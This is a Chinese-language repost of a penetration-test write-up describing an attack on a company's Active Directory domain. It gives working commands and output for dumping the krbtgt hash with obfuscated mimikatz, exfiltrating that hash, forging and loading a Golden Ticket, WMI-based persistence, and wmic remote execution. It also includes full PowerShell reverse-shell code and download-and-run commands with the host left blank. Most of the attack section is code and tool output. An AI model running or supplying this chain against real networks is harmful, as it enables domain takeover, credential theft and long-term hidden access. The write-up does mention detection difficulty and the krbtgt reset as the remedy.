公司智慧手機安全(三)—— 瞄準網域控制站與尋找Golden Ticket

來源:互聯網
上載者:User

公司智慧手機安全(三)—— 瞄準網域控制站與尋找Golden Ticket。 在離開內部網路前,我們決定取得網域控制站的雜湊,特別是Kerberos帳戶(krbtgt),想要創建一個Golden Ticket*。

Golden Ticket是指偽造的TGT(Ticket Granting Ticket),同理Silver Ticket是偽造的TGS(Ticket Granting Server)

Golden Ticket攻擊能夠讓我們創建離線的Kerberos TGT來進行未授權訪問,並且偽造任何域使用者。 此外,它的有效期是十年,換言之只要它被創建了,即使域管理員的憑證發生了改變,也會有效。 這是一個許可權維持的極佳案例,不是嗎?

為了實現這個任務,我們需要的有:

krbtgt雜湊

域SID

使用者名(這裡是Administrator)

功能變數名稱稱(這裡是SUPERCOMPANY)

以類似的方式(SRVWSUS上的埠轉發,改良過的SMBExec等),我們目前在網域控制站上拿到了一個新的本地管理員許可權的Powershell。

我們執行了混淆過的mimikatz來獲取活動目錄用於資料,並將他們保存在hash.txt中:

invoke-mymy -command ‘privilege::debug 「LSADump::LSA /inject」‘ > hash.txt

The mimikatz script was without the auto-invoke command at the end of the file. We exfiltrated the hash file to our web server. This was its content:

RID : 000001f6 (502)

User : krbtgt

* Primary

LM :

NTLM : 3003567af268a4aXXXXXXXXXXXXXXXXX

Using get-addomain Cmdlet, which is automatically imported on Domain Controllers, we got the domain SID:

PS C:\test> get-addomain

AllowedDNSSuffixes : {}

ChildDomains : {}

ComputersContainer : CN=Computers,DC=supercompany,DC=local

DeletedObjectsContainer : CN=Deleted Objects,DC=supercompany,DC=local

DistinguishedName : DC=supercompany,DC=local

DNSRoot : supercompany.local

DomainControllersContainer : OU=Domain

Controllers,DC=supercompany,DC=local

DomainMode : Windows2012R2Domain

DomainSID : S-1-5-21-3534665177-2148510708-2241433719

...

注意:我們可以從由mimikatz獲得的管理員(其uid = 500)獲取域SID:

S-1-5-21-3534665177-2148510708-2241433719-500

現在是時候創建我們的Golden Ticket了

invoke-mymy -command ‘」privilege::debug」 「Kerberos::golden /admin:Administrator /domain:supercompany. LOCAL /sid:S-1-5-21-3534665177-2148510708-2241433719 /krbtgt:3003567af268a4a94e26f410e84353f1 /ticket:admin.krb」‘

.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14

.## ^ ##. 「A La Vie, A L’Amour」

## / \ ## /* * *

## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

‘## v ##’ HTTP://blog.gentilkiwi.com/mimikatz (oe.eo)

‘#####’ with 20 modules * * */

mimikatz(powershell) # privilege::debug

Privilege ’20’ OK

mimikatz(powershell) # Kerberos::golden /admin:Administrator /domain:supercompany. LOCAL /sid:S-1-5-21-3534665177-2148510708-2241433719 /krbtgt:3003567af268a4a94e26f410e84353f1 /ticket:admin.krb

User : Administrator

Domain : supercompany. LOCAL (SUPERCOMPANY)

SID : S-1-5-21-3534665177-2148510708-2241433719

User Id : 500

Groups Id : *513 512 520 518 519

ServiceKey: 3003567af268a4a94e26f410e84353f1 – rc4_hmac_nt

Lifetime : 2/17/2017 4:02:10 PM ; 2/17/2027 4:02:10 PM ; 3/3/2027 4:02:10 PM

-> Ticket : admin.krb

* PAC generated

* PAC signed

* EncTicketPart generated

* EncTicketPart encrypted

* KrbCred generated

最後將Ticket存到檔中就好了,在這之後,我們挑出admin.krb檔,之後會用到。

許可權維持

在離開系統之前,我們必須設置一個能夠維持對暴露在公網的伺服器訪問的方法,以供日後使用。 在這一步,不被發現並不容易,即使是新手系統管理員也會發現一些端倪。

我們選擇了一個機遇WMI特性的更加複雜的方法,利用了InstanceModificationEvent。

在一個WMI物件實例改變了它的寄存器時,它都是作為一個InstanceModificationEvent。 在這樣的條件下,我們過濾了事件系統啟動時間,在系統啟動200到300秒之內,我們將為eventconsumer提供一個commandlineeventconsumer。

在SRVWSUS這台伺服器上,我們發送了以下命令:

$filterName = 「JustForTestFilter」

$consumerName = 「JustForTestConsumer」

$exePath = 「C:\windows\help\windows\indexstore\r.bat」

$Query = 「SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_Sy stem’ AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime

$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace 「root\subscription」 -Arguments @{Name=$filterName; EventNameSpace=」root\cimv2″; QueryLanguage=」WQL」; Query=$Query} -ErrorAction Stop

$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace 「root\subscription」 -Arguments @{Name=$ consumerName; ExecutablePath=$exePath; CommandLineTemplate=$exepath}

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace 「root\subscription」 -Arguments @{Filter=$WMIEventFilter; Consumer=$WMIEventConsumer}

然後再windows隱藏的資料夾裡,創建了r.bat,內容如下:

powershell -executionpolicy bypass -windowstyle hidden -f C:\windows\help\windows\indexstore\r.ps1

而r.ps1檔的內容是:

$c=New-Object System.Net.Sockets.TCPClient(‘’,443);

$s=$c.GetStream(); [byte[]]$b=0..65535|%{0};

while(($i=$s.Read($b,0,$b.Length))-ne 0){;

$d=(New-Object -TypeName System.Text.ASCIIEncoding). GetString($b,0, $i);

$sb=(IEX $data 2>&1 | Out-String );

$sb2=$sb+’PS ‘+(pwd). Path + ‘> ‘;

$sb=([text.encoding]::ASCII). GetBytes($sb2);

$s.Write($sb,0,$sb. Length);

$s.Flush()};

$c.Close()」

這將保證它在重新開機時通過SRVWSUS執行本地SYSTEM許可權的遠端shell。

最後,我們測試了我們拿到的Golden Ticket,還記得admin.krb這個檔嗎?

通過SRVWSUS本地系統管理員許可權的shell,我們下載了admin.krb,配置了埠轉發,並將帶有回連指令的腳本r3.ps1上傳到SRVWSUS的9000埠。

現在我們在session中載入Ticket:

PS C:\tmp>Invoke-mymy -command ‘」kerberos::ptt admin.krb」‘

.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14

.## ^ ##. 「A La Vie, A L’Amour」

## / \ ## /* * *

## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

‘## v ##’ HTTP://blog.gentilkiwi.com/mimikatz (oe.eo)

‘#####’ with 20 modules * * */

mimikatz(powershell) # kerberos::ptt admin.krb

* File: ‘admin.krb’: OK

Using klist it is possible to list our loaded Kerberos tokens:

PS C:\tmp> klist

Current LogonId is 0:0x3e7

Cached Tickets: (1)

#0> Client: Administrator @ supercompany. LOCAL

Server: krbtgt/supercompany. LOCAL @ supercompany. LOCAL

KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)

Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent

Start Time: 2/17/2017 1:02:10 (local)

End Time: 2/17/2027 1:02:10 (local)

Renew Time: 2/18/2027 1:02:10 (local)

Session Key Type: RSADSI RC4-HMAC(NT)

Cache Flags: 0x1 -> PRIMARY

Kdc Called:

成功了,Ticket成功載入了!

對於下一個操作,我們使用Windows wmic.exe實用程式,它是一個WMI的命令列介面程式,允許通過Kerberos憑證來訪問遠端系統。

我們在網域控制站上複製了r3.ps1,沒有任何問題,只需將管理員的Ticket載入到我們的會話中!

PS C:\tmp>copy c:\tmp\r3.ps1 \\SRVDC1\C$\windows\temp\r3.ps1″

然後運行:

PS C:\tmp> wmic /authority:」kerberos:SUPERCOMPANY\SRVDC1″ /node:SRVDC1 process call create 「powershell - executionpolicy bypass -windowstyle hidden -f c:\windows\temp\r3.ps1」

Executing (Win32_Process)->Create()

Method execution successful.

Out Parameters:

instance of __PARAMETERS

{

ProcessId = 4528;

ReturnValue = 0;

};

我們叉著手等了一會,在我們的電腦上就看到了來自SRVDC1的shell:

PS C:\Windows\system32> whoami

supercompany\administrator

即使Administrator的密碼變了,這種手段也會奏效。

關於Golden Ticket的潛在危險,我有幾句話要說:

發現偽造的Kerberos Tickets非常困難(HTTPs://adsecurity.org/?p=1515 )

在有證據的情況下,唯一的方法就是重置krbtg密碼兩次,但這可能會對Active Directory Infrastructure造成嚴重影響

最後要做的

還記得我們是怎麼在SRVWSUS獲得第一個powershell遠端shell的嗎?

我們從企業內部網路的伺服器執行了一個遠端命令,通過安卓手機的Meterpreter轉發這個連接。 要是我們失去了Powershell的遠端shell,並且再也沒有連接到受害者怎麼辦? Game Over...

我們需要添加對SRVWSUS shell的持久訪問權!

怎麼做呢?答案是通過從Tomcat的webshell添加訪問SRVWSUS的功能:

# 1st smbexec command:

IEX (New-Object Net.WebClient). DownloadFile(`’HTTP:///r1.ps1`’,

`’c:\tmp\r1.ps1`’)

# 2nd smbexec command:

IEX (New-Object Net.WebClient). DownloadFile(`’HTTP:///r1.bat`’,

`’c:\tmp\r1.bat`’)

# 3rd smbexec command:

‘cmd /c c:\tmp\r1.bat’

What does r1.bat contain?

@echo off

:loop

powershell -executionpolicy bypass -windowstyle hidden -f c:\tmp\r.ps1

timeout /t 10

goto loop

雖不優雅,但是有效。 一旦丟失了連接,等待十秒鐘就會重新回連。

我們當然可以加密混淆所有的.ps1腳本,但我們就是想給你展示它的原理。

結論

這就是我們的工作,並沒有發明什麼新的東西,但是使用Windows內置的功能和一些腳本,我們做了件大事。 有時候我們並不需要什麼魔法一樣的工具,只需要K.I.S.S.原則。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.